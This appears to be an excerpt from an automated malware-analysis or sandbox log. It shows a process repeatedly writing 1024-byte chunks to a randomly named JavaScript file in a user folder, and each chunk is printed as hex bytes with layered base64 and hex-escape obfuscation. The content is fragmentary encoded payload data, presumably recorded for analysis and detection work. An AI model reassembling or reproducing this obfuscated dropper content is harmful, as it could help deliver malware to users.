7a 4d 46 78 34 4e 45 
52 63 65 44 63 32 58 
48 67 33 4e 31 78 34 
4d 7a 4e 63 65 44 4d 
32 58 48 67 30 4e 31 
78 34 4e 44 6d 63 65 
44 52 45 58 48 67 30 
52 6c 78 34 4e 6b 5a 
63 65 44 5a 42 58 48 
67 30 4e 46 78 34 4d 
6b 5a 63 65 44 5a 45 
58 48 67 31 51 56 78 
34 4e 6a 46 63 65 44 
4a 47 58 48 67 32 51 
56 78 34 4e 7a 52 63 
65 44 55 30 58 48 67 
30 51 31 78 34 4d 6b 
4a 63 65 44 59 34 58 
48 67 30 52 6c 78 34 
4e 44 6d 63 65 44 5a 
46 58 48 67 30 4e 46 
78 34 4e 44 52 63 65 
44 4a 47 58 48 67 30 
4e 46 78 34 4e 6b 56 
63 65 44 55 30 58 48 
67 30 51 31 78 34 4d 
6b 4a 63 65 44 5a 46 
58 48 67 31 4d 46 78 
34 4e 6a 52 63 65 44 
4d 30 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
33 51 56 78 34 4e 6a 
5a 63 65 

RBXHg3NFx4NjhceDQ0X
HgzMFx4NERc
eDc2XHg3N1x4MzNceDM
2XHg0N1x4ND
mceDREXHg0Rlx4NkZce
DZBXHg0NFx4
MkZceDZEXHg1QVx4NjF
ceDJGXHg2QV
x4NzRceDU0XHg0Q1x4M
kJceDY4XHg0
Rlx4NDmceDZFXHg0NFx
4NDRceDJGXH
g0NFx4NkVceDU0XHg0Q
1x4MkJceDZF
XHg1MFx4NjRceDM0XHg
zRVx4MjVceD
QwXHg3QVx4NjZce

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 68 63 65 44 4d 31 58 
48 67 32 4d 56 78 34 
4e 54 6c 63 65 44 5a 
44 58 48 67 7a 4f 46 
78 34 4e 6b 4a 63 65 
44 51 33 58 48 67 31 
4d 46 78 34 4e 54 68 
63 65 44 63 79 58 48 
67 32 4e 6c 78 34 4e 
54 6c 63 65 44 52 46 
58 48 67 30 4e 46 78 
34 4d 7a 4e 63 65 44 
59 34 58 48 67 33 4e 
31 78 34 4e 54 56 63 
65 44 52 43 58 48 67 
33 51 56 78 34 4e 54 
6d 63 65 44 4a 43 58 
48 67 33 4e 6c 78 34 
4e 7a 56 63 65 44 59 
79 58 48 67 32 4f 56 
78 34 4d 6b 4a 63 65 
44 63 33 58 48 67 32 
51 31 78 34 4e 45 4e 
63 65 44 55 7a 58 48 
67 32 4d 6c 78 34 4e 
7a 4a 63 65 44 55 35 
58 48 67 33 4e 56 78 
34 4e 7a 4e 63 65 44 
59 79 58 48 67 33 4d 
31 78 34 4e 6b 52 63 
65 44 4d 77 58 48 67 
7a 4d 6c 78 34 4e 44 
56 63 65 44 4d 78 58 
48 67 30 51 6c 78 34 
4d 7a 68 63 65 44 59 
78 58 48 67 7a 4f 56 
78 34 4d 

hceDM1XHg2MVx4NTlce
DZDXHgzOFx4
NkJceDQ3XHg1MFx4NTh
ceDcyXHg2Nl
x4NTlceDRFXHg0NFx4Mz
NceDY4XHg3
N1x4NTVceDRCXHg3QVx
4NTmceDJCXH
g3Nlx4NzVceDYyXHg2OV
x4MkJceDc3
XHg2Q1x4NENceDUzXHg
2Mlx4NzJceD
U5XHg3NVx4NzNceDYyX
Hg3M1x4NkRc
eDMwXHgzMlx4NDVceD
MxXHg0Qlx4Mz
hceDYxXHgzOVx4M

success or wait 5 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 42 63 65 44 4d 30 58 
48 67 7a 4d 6c 78 34 
4e 54 52 63 65 44 4d 
31 58 48 67 7a 4e 46 
78 34 4e 30 46 63 65 
44 55 34 58 48 67 30 
52 56 78 34 4e 6b 5a 
63 65 44 55 77 58 48 
67 7a 4e 31 78 34 4d 
7a 6d 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
59 7a 58 48 67 33 4f 
46 78 34 4e 6a 56 63 
65 44 51 35 58 48 67 
30 51 6c 78 34 4e 7a 
56 63 65 44 63 78 58 
48 67 32 4d 31 78 34 
4e 6b 4e 63 65 44 59 
78 58 48 67 33 4d 56 
78 34 4d 7a 42 63 65 
44 63 78 58 48 67 32 
51 31 78 34 4d 7a 4e 
63 65 44 5a 47 58 48 
67 33 4d 6c 78 34 4e 
6a 52 63 65 44 55 32 
58 48 67 31 4e 46 78 
34 4e 44 5a 63 65 44 
55 35 58 48 67 7a 4e 
6c 78 34 4e 44 56 63 
65 44 63 33 58 48 67 
30 52 46 78 34 4d 7a 
42 63 65 44 52 47 58 
48 67 7a 4e 56 78 34 
4e 54 6c 63 65 44 63 
77 58 48 67 30 4f 46 
78 34 4e 

BceDM0XHgzMlx4NTRce
DM1XHgzNFx4
N0FceDU4XHg0RVx4NkZ
ceDUwXHgzN1
x4MzmceDNFXHgyNVx4N
DBceDYzXHg3
OFx4NjVceDQ5XHg0Qlx4
NzVceDcxXH
g2M1x4NkNceDYxXHg3M
Vx4MzBceDcx
XHg2Q1x4MzNceDZGXHg
3Mlx4NjRceD
U2XHg1NFx4NDZceDU5X
HgzNlx4NDVc
eDc3XHg0RFx4MzBceDR
GXHgzNVx4NT
lceDcwXHg0OFx4N

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 55 30 58 48 67 32 52 
6c 78 34 4e 45 4e 63 
65 44 55 7a 58 48 67 
30 4d 6c 78 34 4e 44 
68 63 65 44 4d 79 58 
48 67 31 4d 31 78 34 
4e 54 6d 63 65 44 52 
43 58 48 67 7a 4d 46 
78 34 4e 6a 68 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 5a 47 58 48 
67 30 4d 6c 78 34 4e 
7a 56 63 65 44 55 30 
58 48 67 7a 4f 46 78 
34 4e 6a 4e 63 65 44 
59 31 58 48 67 30 4e 
56 78 34 4e 30 46 63 
65 44 55 79 58 48 67 
33 4d 31 78 34 4d 7a 
68 63 65 44 63 34 58 
48 67 7a 4f 46 78 34 
4e 54 4a 63 65 44 51 
34 58 48 67 32 4f 46 
78 34 4e 45 52 63 65 
44 4d 30 58 48 67 7a 
4e 6c 78 34 4e 6b 56 
63 65 44 5a 45 58 48 
67 31 4d 46 78 34 4d 
6b 5a 63 65 44 51 32 
58 48 67 33 4d 56 78 
34 4e 6a 52 63 65 44 
52 45 58 48 67 30 52 
56 78 34 4e 54 6c 63 
65 44 55 77 58 48 67 
31 4d 56 78 34 4d 7a 
6c 63 65 

U0XHg2Rlx4NENceDUzX
Hg0Mlx4NDhc
eDMyXHg1M1x4NTmceD
RCXHgzMFx4Nj
hceDNFXHgyNVx4NDBce
DZGXHg0Mlx4
NzVceDU0XHgzOFx4NjNc
eDY1XHg0NV
x4N0FceDUyXHg3M1x4M
zhceDc4XHgz
OFx4NTJceDQ4XHg2OFx
4NERceDM0XH
gzNlx4NkVceDZEXHg1MF
x4MkZceDQ2
XHg3MVx4NjRceDREXHg
0RVx4NTlceD
UwXHg1MVx4Mzlce

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 59 32 58 48 67 33 4f 
46 78 34 4e 6a 6c 63 
65 44 51 31 58 48 67 
32 4e 56 78 34 4e 44 
5a 63 65 44 63 34 58 
48 67 7a 4d 6c 78 34 
4e 45 52 63 65 44 59 
31 58 48 67 32 52 46 
78 34 4e 30 46 63 65 
44 63 35 58 48 67 32 
4e 56 78 34 4d 7a 68 
63 65 44 51 34 58 48 
67 32 51 56 78 34 4e 
45 4a 63 65 44 5a 47 
58 48 67 7a 4f 46 78 
34 4e 7a 46 63 65 44 
5a 42 58 48 67 32 51 
31 78 34 4e 7a 4e 63 
65 44 55 35 58 48 67 
30 4e 56 78 34 4e 6a 
4a 63 65 44 63 7a 58 
48 67 32 4e 46 78 34 
4e 7a 6d 63 65 44 52 
44 58 48 67 7a 4e 46 
78 34 4d 7a 46 63 65 
44 52 42 58 48 67 7a 
4d 31 78 34 4e 44 56 
63 65 44 4d 7a 58 48 
67 32 51 56 78 34 4e 
44 4e 63 65 44 5a 45 
58 48 67 7a 4e 6c 78 
34 4e 45 4a 63 65 44 
51 32 58 48 67 30 4e 
6c 78 34 4d 7a 52 63 
65 44 55 30 58 48 67 
30 52 46 78 34 4e 54 
6c 63 65 

Y2XHg3OFx4NjlceDQ1XH
g2NVx4NDZc
eDc4XHgzMlx4NERceDY1
XHg2RFx4N0
FceDc5XHg2NVx4Mzhce
DQ4XHg2QVx4
NEJceDZGXHgzOFx4NzF
ceDZBXHg2Q1
x4NzNceDU5XHg0NVx4Nj
JceDczXHg2
NFx4NzmceDRDXHgzNFx
4MzFceDRBXH
gzM1x4NDVceDMzXHg2Q
Vx4NDNceDZE
XHgzNlx4NEJceDQ2XHg0
Nlx4MzRceD
U0XHg0RFx4NTlce

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 63 78 58 48 67 31 4f 
56 78 34 4d 6b 5a 63 
65 44 51 34 58 48 67 
32 4e 31 78 34 4e 6b 
52 63 65 44 55 32 58 
48 67 79 52 6c 78 34 
4e 6a 4a 63 65 44 63 
78 58 48 67 30 4e 46 
78 34 4e 44 5a 63 65 
44 52 46 58 48 67 7a 
4d 56 78 34 4e 7a 68 
63 65 44 4d 7a 58 48 
67 30 52 6c 78 34 4e 
6a 6c 63 65 44 59 79 
58 48 67 31 4d 56 78 
34 4e 6a 46 63 65 44 
63 77 58 48 67 31 4e 
56 78 34 4e 6a 56 63 
65 44 5a 47 58 48 67 
31 4e 56 78 34 4e 6b 
46 63 65 44 4d 77 58 
48 67 33 4e 6c 78 34 
4e 45 56 63 65 44 63 
78 58 48 67 32 51 31 
78 34 4e 44 68 63 65 
44 59 30 58 48 67 79 
51 6c 78 34 4e 7a 4e 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 63 33 
58 48 67 7a 4d 46 78 
34 4e 6a 5a 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 4e 44 42 63 
65 44 63 30 58 48 67 
32 52 46 78 34 4d 7a 
4a 63 65 

cxXHg1OVx4MkZceDQ4X
Hg2N1x4NkRc
eDU2XHgyRlx4NjJceDcxX
Hg0NFx4ND
ZceDRFXHgzMVx4Nzhce
DMzXHg0Rlx4
NjlceDYyXHg1MVx4NjFce
DcwXHg1NV
x4NjVceDZGXHg1NVx4Nk
FceDMwXHg3
Nlx4NEVceDcxXHg2Q1x4
NDhceDY0XH
gyQlx4NzNceDNFXHgyNV
x4NDBceDc3
XHgzMFx4NjZceDNFXHg
yNVx4NDBceD
c0XHg2RFx4MzJce
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C:\Users\user\fukvowbkrs.js unknown 1024 63 78 58 48 67 33 4d 
56 78 34 4e 7a 4a 63 
65 44 5a 43 58 48 67 
33 4d 6c 78 34 4d 7a 
6d 63 65 44 55 34 58 
48 67 32 4d 6c 78 34 
4e 7a 42 63 65 44 5a 
45 58 48 67 7a 4d 31 
78 34 4e 54 46 63 65 
44 51 7a 58 48 67 7a 
4d 56 78 34 4e 6a 4e 
63 65 44 4d 77 58 48 
67 31 51 56 78 34 4d 
7a 46 63 65 44 59 30 
58 48 67 33 4d 6c 78 
34 4d 7a 5a 63 65 44 
63 78 58 48 67 7a 4d 
31 78 34 4e 44 4e 63 
65 44 55 7a 58 48 67 
7a 4f 46 78 34 4d 7a 
4a 63 65 44 63 35 58 
48 67 33 4f 56 78 34 
4e 54 68 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 59 7a 58 48 67 33 
4e 56 78 34 4e 30 46 
63 65 44 55 33 58 48 
67 7a 4d 31 78 34 4e 
54 5a 63 65 44 5a 46 
58 48 67 32 4e 6c 78 
34 4e 7a 4a 63 65 44 
55 79 58 48 67 32 52 
6c 78 34 4d 7a 42 63 
65 44 59 34 58 48 67 
30 52 6c 78 34 4e 54 
56 63 65 

cxXHg3MVx4NzJceDZCX
Hg3Mlx4Mzmc
eDU4XHg2Mlx4NzBceDZ
EXHgzM1x4NT
FceDQzXHgzMVx4NjNce
DMwXHg1QVx4
MzFceDY0XHg3Mlx4MzZc
eDcxXHgzM1
x4NDNceDUzXHgzOFx4M
zJceDc5XHg3
OVx4NThceDNFXHgyNVx
4NDBceDYzXH
g3NVx4N0FceDU3XHgzM
1x4NTZceDZF
XHg2Nlx4NzJceDUyXHg2
Rlx4MzBceD
Y4XHg0Rlx4NTVce

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 52 46 58 48 67 30 4e 
6c 78 34 4e 6a 4a 63 
65 44 5a 47 58 48 67 
30 51 31 78 34 4e 54 
68 63 65 44 4a 43 58 
48 67 32 52 46 78 34 
4e 44 4e 63 65 44 63 
31 58 48 67 32 4d 31 
78 34 4e 7a 56 63 65 
44 52 42 58 48 67 31 
51 56 78 34 4e 6a 4e 
63 65 44 5a 45 58 48 
67 32 51 31 78 34 4e 
6b 46 63 65 44 51 35 
58 48 67 31 4d 6c 78 
34 4e 54 52 63 65 44 
52 46 58 48 67 31 51 
56 78 34 4e 44 56 63 
65 44 51 35 58 48 67 
33 4d 46 78 34 4e 54 
68 63 65 44 51 33 58 
48 67 32 51 56 78 34 
4e 45 4a 63 65 44 59 
35 58 48 67 32 4f 56 
78 34 4e 6b 4a 63 65 
44 4d 7a 58 48 67 30 
4e 6c 78 34 4e 54 4a 
63 65 44 51 32 58 48 
67 30 4e 31 78 34 4e 
44 6c 63 65 44 55 31 
58 48 67 31 51 56 78 
34 4e 54 4a 63 65 44 
55 30 58 48 67 32 4e 
46 78 34 4e 6b 5a 63 
65 44 51 33 58 48 67 
31 4d 46 78 34 4e 54 
56 63 65 

RFXHg0Nlx4NjJceDZGXH
g0Q1x4NThc
eDJCXHg2RFx4NDNceDc
1XHg2M1x4Nz
VceDRBXHg1QVx4NjNce
DZEXHg2Q1x4
NkFceDQ5XHg1Mlx4NTR
ceDRFXHg1QV
x4NDVceDQ5XHg3MFx4N
ThceDQ3XHg2
QVx4NEJceDY5XHg2OVx
4NkJceDMzXH
g0Nlx4NTJceDQ2XHg0N1
x4NDlceDU1
XHg1QVx4NTJceDU0XHg
2NFx4NkZceD
Q3XHg1MFx4NTVce
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C:\Users\user\fukvowbkrs.js unknown 1024 55 79 58 48 67 30 4e 
56 78 34 4d 30 56 63 
65 44 49 31 58 48 67 
30 4d 46 78 34 4e 45 
56 63 65 44 55 78 58 
48 67 33 4d 46 78 34 
4e 44 5a 63 65 44 59 
30 58 48 67 31 4f 46 
78 34 4e 44 5a 63 65 
44 51 33 58 48 67 7a 
4d 31 78 34 4e 44 4a 
63 65 44 63 32 58 48 
67 30 4e 6c 78 34 4e 
6b 4e 63 65 44 63 35 
58 48 67 30 4d 6c 78 
34 4e 54 4e 63 65 44 
4d 79 58 48 67 79 51 
6c 78 34 4d 6b 4a 63 
65 44 59 33 58 48 67 
31 51 56 78 34 4e 45 
52 63 65 44 59 79 58 
48 67 33 4d 31 78 34 
4d 7a 4e 63 65 44 51 
7a 58 48 67 7a 4e 6c 
78 34 4e 44 4e 63 65 
44 56 42 58 48 67 7a 
4d 6c 78 34 4e 6b 46 
63 65 44 55 78 58 48 
67 7a 4e 6c 78 34 4d 
7a 42 63 65 44 55 79 
58 48 67 79 52 6c 78 
34 4e 6a 56 63 65 44 
51 32 58 48 67 32 4d 
56 78 34 4e 44 4a 63 
65 44 5a 42 58 48 67 
32 51 31 78 34 4e 44 
52 63 65 

UyXHg0NVx4M0VceDI1X
Hg0MFx4NEVc
eDUxXHg3MFx4NDZceDY
0XHg1OFx4ND
ZceDQ3XHgzM1x4NDJce
Dc2XHg0Nlx4
NkNceDc5XHg0Mlx4NTNc
eDMyXHgyQl
x4MkJceDY3XHg1QVx4N
ERceDYyXHg3
M1x4MzNceDQzXHgzNlx4
NDNceDVBXH
gzMlx4NkFceDUxXHgzNlx
4MzBceDUy
XHgyRlx4NjVceDQ2XHg2
MVx4NDJceD
ZBXHg2Q1x4NDRce

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 56 63 65 44 49 31 58 
48 67 30 4d 46 78 34 
4e 7a 68 63 65 44 6d 
42 58 48 67 30 4e 46 
78 34 4e 6a 52 63 65 
44 55 32 58 48 67 33 
4d 31 78 34 4e 6a 4a 
63 65 44 52 43 58 48 
67 30 52 56 78 34 4e 
44 56 63 65 44 63 30 
58 48 67 33 4d 46 78 
34 4e 45 46 63 65 44 
4d 30 58 48 67 33 4e 
31 78 34 4e 6a 5a 63 
65 44 5a 43 58 48 67 
33 51 56 78 34 4e 45 
52 63 65 44 56 42 58 
48 67 31 4d 56 78 34 
4e 6b 5a 63 65 44 55 
7a 58 48 67 30 51 56 
78 34 4e 7a 6d 63 65 
44 4d 33 58 48 67 7a 
4d 46 78 34 4e 6a 4e 
63 65 44 55 32 58 48 
67 33 4d 56 78 34 4e 
7a 4e 63 65 44 4d 33 
58 48 67 32 4e 31 78 
34 4e 7a 4a 63 65 44 
5a 42 58 48 67 30 51 
56 78 34 4e 54 46 63 
65 44 55 30 58 48 67 
32 4e 56 78 34 4d 7a 
4e 63 65 44 51 79 58 
48 67 31 4d 6c 78 34 
4e 7a 42 63 65 44 5a 
42 58 48 67 32 52 46 
78 34 4d 

VceDI1XHg0MFx4NzhceD
mBXHg0NFx4
NjRceDU2XHg3M1x4NjJc
eDRCXHg0RV
x4NDVceDc0XHg3MFx4N
EFceDM0XHg3
N1x4NjZceDZCXHg3QVx4
NERceDVBXH
g1MVx4NkZceDUzXHg0Q
Vx4NzmceDM3
XHgzMFx4NjNceDU2XHg
3MVx4NzNceD
M3XHg2N1x4NzJceDZBX
Hg0QVx4NTFc
eDU0XHg2NVx4MzNceDQ
yXHg1Mlx4Nz
BceDZBXHg2RFx4M
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C:\Users\user\fukvowbkrs.js unknown 1024 6d 63 65 44 4d 79 58 
48 67 32 4f 46 78 34 
4e 54 4e 63 65 44 4a 
47 58 48 67 32 4e 56 
78 34 4e 7a 5a 63 65 
44 55 33 58 48 67 31 
51 56 78 34 4e 6b 52 
63 65 44 52 42 58 48 
67 33 4d 6c 78 34 4e 
44 52 63 65 44 5a 46 
58 48 67 31 4d 6c 78 
34 4d 7a 56 63 65 44 
55 31 58 48 67 31 4e 
46 78 34 4e 44 52 63 
65 44 59 35 58 48 67 
31 51 56 78 34 4e 7a 
56 63 65 44 59 7a 58 
48 67 7a 4e 6c 78 34 
4e 44 68 63 65 44 59 
78 58 48 67 32 4f 56 
78 34 4e 7a 68 63 65 
44 4d 30 58 48 67 32 
52 56 78 34 4e 45 52 
63 65 44 59 35 58 48 
67 31 4e 56 78 34 4e 
54 5a 63 65 44 52 47 
58 48 67 7a 4f 56 78 
34 4e 44 52 63 65 44 
63 77 58 48 67 33 4f 
46 78 34 4e 7a 4e 63 
65 44 63 34 58 48 67 
30 52 56 78 34 4d 7a 
6c 63 65 44 55 30 58 
48 67 32 4f 56 78 34 
4e 7a 68 63 65 44 4d 
79 58 48 67 31 4f 56 
78 34 4e 

mceDMyXHg2OFx4NTNce
DJGXHg2NVx4
NzZceDU3XHg1QVx4NkR
ceDRBXHg3Ml
x4NDRceDZFXHg1Mlx4M
zVceDU1XHg1
NFx4NDRceDY5XHg1QVx
4NzVceDYzXH
gzNlx4NDhceDYxXHg2OV
x4NzhceDM0
XHg2RVx4NERceDY5XHg
1NVx4NTZceD
RGXHgzOVx4NDRceDcw
XHg3OFx4NzNc
eDc4XHg0RVx4MzlceDU0
XHg2OVx4Nz
hceDMyXHg1OVx4N

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 68 63 65 44 52 47 58 
48 67 32 4e 6c 78 34 
4d 7a 56 63 65 44 55 
7a 58 48 67 7a 4f 46 
78 34 4e 7a 6d 63 65 
44 55 30 58 48 67 33 
4f 46 78 34 4e 44 4a 
63 65 44 52 45 58 48 
67 32 4d 31 78 34 4e 
44 52 63 65 44 52 46 
58 48 67 31 4e 56 78 
34 4d 7a 68 63 65 44 
55 7a 58 48 67 31 4e 
46 78 34 4d 7a 4e 63 
65 44 52 44 58 48 67 
32 4d 31 78 34 4e 54 
56 63 65 44 59 32 58 
48 67 30 52 46 78 34 
4e 54 56 63 65 44 4d 
34 58 48 67 31 4d 6c 
78 34 4e 54 52 63 65 
44 51 34 58 48 67 79 
51 6c 78 34 4d 7a 4a 
63 65 44 63 78 58 48 
67 32 4e 56 78 34 4e 
45 46 63 65 44 63 77 
58 48 67 7a 4e 31 78 
34 4e 6b 52 63 65 44 
63 31 58 48 67 30 51 
6c 78 34 4e 7a 4a 63 
65 44 5a 45 58 48 67 
30 4e 31 78 34 4e 54 
6d 63 65 44 52 44 58 
48 67 33 4d 6c 78 34 
4d 6b 4a 63 65 44 55 
30 58 48 67 30 52 6c 
78 34 4e 

hceDRGXHg2Nlx4MzVce
DUzXHgzOFx4
NzmceDU0XHg3OFx4NDJ
ceDREXHg2M1
x4NDRceDRFXHg1NVx4M
zhceDUzXHg1
NFx4MzNceDRDXHg2M1x
4NTVceDY2XH
g0RFx4NTVceDM4XHg1M
lx4NTRceDQ4
XHgyQlx4MzJceDcxXHg2
NVx4NEFceD
cwXHgzN1x4NkRceDc1X
Hg0Qlx4NzJc
eDZEXHg0N1x4NTmceDR
DXHg3Mlx4Mk
JceDU0XHg0Rlx4N
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C:\Users\user\fukvowbkrs.js unknown 1024 56 63 65 44 55 78 58 
48 67 30 4f 56 78 34 
4e 6b 4a 63 65 44 52 
45 58 48 67 32 4e 31 
78 34 4e 7a 6d 63 65 
44 55 30 58 48 67 30 
4e 6c 78 34 4e 45 56 
63 65 44 5a 45 58 48 
67 32 4f 46 78 34 4d 
6b 5a 63 65 44 63 35 
58 48 67 32 4f 46 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4e 6a 68 63 
65 44 63 78 58 48 67 
30 4d 6c 78 34 4e 44 
52 63 65 44 63 33 58 
48 67 31 4e 56 78 34 
4e 44 6c 63 65 44 55 
35 58 48 67 32 4f 46 
78 34 4e 6a 6d 63 65 
44 5a 46 58 48 67 30 
4f 56 78 34 4e 44 4a 
63 65 44 55 34 58 48 
67 7a 4f 46 78 34 4e 
7a 4e 63 65 44 63 33 
58 48 67 31 4e 46 78 
34 4e 44 5a 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 4e 44 42 63 
65 44 5a 45 58 48 67 
7a 4e 46 78 34 4e 44 
56 63 65 44 52 45 58 
48 67 31 51 56 78 34 
4e 54 4a 63 65 44 59 
33 58 48 67 32 4e 31 
78 34 4e 

VceDUxXHg0OVx4NkJce
DREXHg2N1x4
NzmceDU0XHg0Nlx4NEV
ceDZEXHg2OF
x4MkZceDc5XHg2OFx4M
0VceDI1XHg0
MFx4NjhceDcxXHg0Mlx4
NDRceDc3XH
g1NVx4NDlceDU5XHg2OF
x4NjmceDZF
XHg0OVx4NDJceDU4XHg
zOFx4NzNceD
c3XHg1NFx4NDZceDNFX
HgyNVx4NDBc
eDZEXHgzNFx4NDVceDR
EXHg1QVx4NT
JceDY3XHg2N1x4N

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 52 45 58 48 
67 32 4f 56 78 34 4e 
54 42 63 65 44 4d 33 
58 48 67 31 4e 56 78 
34 4d 6b 5a 63 65 44 
63 7a 58 48 67 7a 4d 
56 78 34 4e 7a 6c 63 
65 44 52 45 58 48 67 
33 4d 46 78 34 4e 54 
6c 63 65 44 52 47 58 
48 67 32 51 31 78 34 
4e 54 52 63 65 44 52 
44 58 48 67 32 4f 56 
78 34 4d 7a 4a 63 65 
44 59 7a 58 48 67 32 
52 56 78 34 4d 7a 4a 
63 65 44 4a 47 58 48 
67 33 4d 6c 78 34 4e 
45 46 63 65 44 55 77 
58 48 67 30 4e 31 78 
34 4e 6a 68 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 4e 44 42 63 
65 44 5a 42 58 48 67 
31 4d 46 78 34 4e 6a 
68 63 65 44 4a 47 58 
48 67 31 4d 46 78 34 
4e 7a 68 63 65 44 4d 
30 58 48 67 30 52 6c 
78 34 4e 6b 4e 63 65 
44 59 33 58 48 67 32 
4e 46 78 34 4e 44 4a 
63 65 44 51 35 58 48 
67 32 4d 56 78 34 4e 
54 5a 63 65 44 5a 42 
58 48 67 33 4f 56 78 
34 4e 44 

ceDREXHg2OVx4NTBceD
M3XHg1NVx4M
kZceDczXHgzMVx4Nzlce
DREXHg3MFx
4NTlceDRGXHg2Q1x4NT
RceDRDXHg2O
Vx4MzJceDYzXHg2RVx4
MzJceDJGXHg
3Mlx4NEFceDUwXHg0N1
x4NjhceDNFX
HgyNVx4NDBceDZBXHg1
MFx4NjhceDJ
GXHg1MFx4NzhceDM0X
Hg0Rlx4NkNce
DY3XHg2NFx4NDJceDQ5
XHg2MVx4NTZ
ceDZBXHg3OVx4ND
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C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 52 44 58 48 
67 31 4d 46 78 34 4d 
6b 5a 63 65 44 59 35 
58 48 67 7a 4e 31 78 
34 4e 6b 46 63 65 44 
55 33 58 48 67 33 4e 
46 78 34 4e 6a 68 63 
65 44 5a 47 58 48 67 
33 4d 31 78 34 4d 7a 
56 63 65 44 55 78 58 
48 67 33 4d 31 78 34 
4e 45 46 63 65 44 59 
31 58 48 67 7a 4d 31 
78 34 4e 7a 68 63 65 
44 52 43 58 48 67 30 
52 6c 78 34 4e 45 56 
63 65 44 5a 46 58 48 
67 31 4d 46 78 34 4e 
6a 5a 63 65 44 63 78 
58 48 67 32 4e 46 78 
34 4e 6a 5a 63 65 44 
63 34 58 48 67 32 52 
46 78 34 4e 7a 68 63 
65 44 63 31 58 48 67 
33 4d 6c 78 34 4d 7a 
42 63 65 44 4d 35 58 
48 67 32 52 56 78 34 
4e 6b 56 63 65 44 5a 
45 58 48 67 31 4e 56 
78 34 4e 54 6c 63 65 
44 63 35 58 48 67 33 
4e 6c 78 34 4e 54 5a 
63 65 44 63 34 58 48 
67 31 4f 56 78 34 4d 
7a 6d 63 65 44 55 33 
58 48 67 30 4e 31 78 
34 4e 6b 

ceDRDXHg1MFx4MkZceD
Y5XHgzN1x4N
kFceDU3XHg3NFx4Njhce
DZGXHg3M1x
4MzVceDUxXHg3M1x4NE
FceDY1XHgzM
1x4NzhceDRCXHg0Rlx4N
EVceDZFXHg
1MFx4NjZceDcxXHg2NFx
4NjZceDc4X
Hg2RFx4NzhceDc1XHg3
Mlx4MzBceDM
5XHg2RVx4NkVceDZEXH
g1NVx4NTlce
Dc5XHg3Nlx4NTZceDc4X
Hg1OVx4Mzm
ceDU3XHg0N1x4Nk

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 51 7a 58 48 
67 31 4d 6c 78 34 4e 
6a 56 63 65 44 59 78 
58 48 67 32 4e 31 78 
34 4d 7a 56 63 65 44 
4d 35 58 48 67 30 4e 
31 78 34 4e 45 4a 63 
65 44 4d 35 58 48 67 
33 4d 56 78 34 4d 7a 
4a 63 65 44 51 34 58 
48 67 30 52 46 78 34 
4e 54 4a 63 65 44 52 
44 58 48 67 33 4d 6c 
78 34 4e 7a 42 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 55 34 58 48 
67 79 51 6c 78 34 4e 
54 56 63 65 44 63 79 
58 48 67 7a 4e 56 78 
34 4e 6b 4a 63 65 44 
59 32 58 48 67 33 4e 
46 78 34 4e 6a 46 63 
65 44 55 32 58 48 67 
33 4e 31 78 34 4e 6b 
46 63 65 44 55 35 58 
48 67 30 4e 31 78 34 
4d 7a 42 63 65 44 52 
42 58 48 67 7a 4d 6c 
78 34 4e 45 5a 63 65 
44 4d 78 58 48 67 30 
4e 31 78 34 4e 6a 6d 
63 65 44 4d 34 58 48 
67 33 4d 46 78 34 4e 
7a 56 63 65 44 4d 77 
58 48 67 31 4e 46 78 
34 4d 7a 

ceDQzXHg1Mlx4NjVceDY
xXHg2N1x4M
zVceDM5XHg0N1x4NEJc
eDM5XHg3MVx
4MzJceDQ4XHg0RFx4NT
JceDRDXHg3M
lx4NzBceDNFXHgyNVx4N
DBceDU4XHg
yQlx4NTVceDcyXHgzNVx
4NkJceDY2X
Hg3NFx4NjFceDU2XHg3N
1x4NkFceDU
5XHg0N1x4MzBceDRBXH
gzMlx4NEZce
DMxXHg0N1x4NjmceDM4
XHg3MFx4NzV
ceDMwXHg1NFx4Mz
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C:\Users\user\fukvowbkrs.js unknown 1024 63 65 44 63 32 58 48 
67 33 51 56 78 34 4e 
30 46 63 65 44 51 32 
58 48 67 30 51 31 78 
34 4e 44 6c 63 65 44 
59 78 58 48 67 32 4e 
56 78 34 4e 6b 5a 63 
65 44 59 35 58 48 67 
32 51 6c 78 34 4d 7a 
5a 63 65 44 63 77 58 
48 67 32 4e 46 78 34 
4d 7a 6c 63 65 44 51 
30 58 48 67 7a 4e 56 
78 34 4e 44 4e 63 65 
44 63 31 58 48 67 33 
4d 56 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
44 6d 63 65 44 56 42 
58 48 67 32 4e 6c 78 
34 4d 7a 52 63 65 44 
51 7a 58 48 67 32 4f 
46 78 34 4e 6a 6c 63 
65 44 59 34 58 48 67 
33 4d 56 78 34 4e 54 
56 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 4d 
79 58 48 67 33 51 56 
78 34 4e 6a 52 63 65 
44 63 34 58 48 67 31 
4e 31 78 34 4e 7a 56 
63 65 44 63 78 58 48 
67 30 4e 56 78 34 4e 
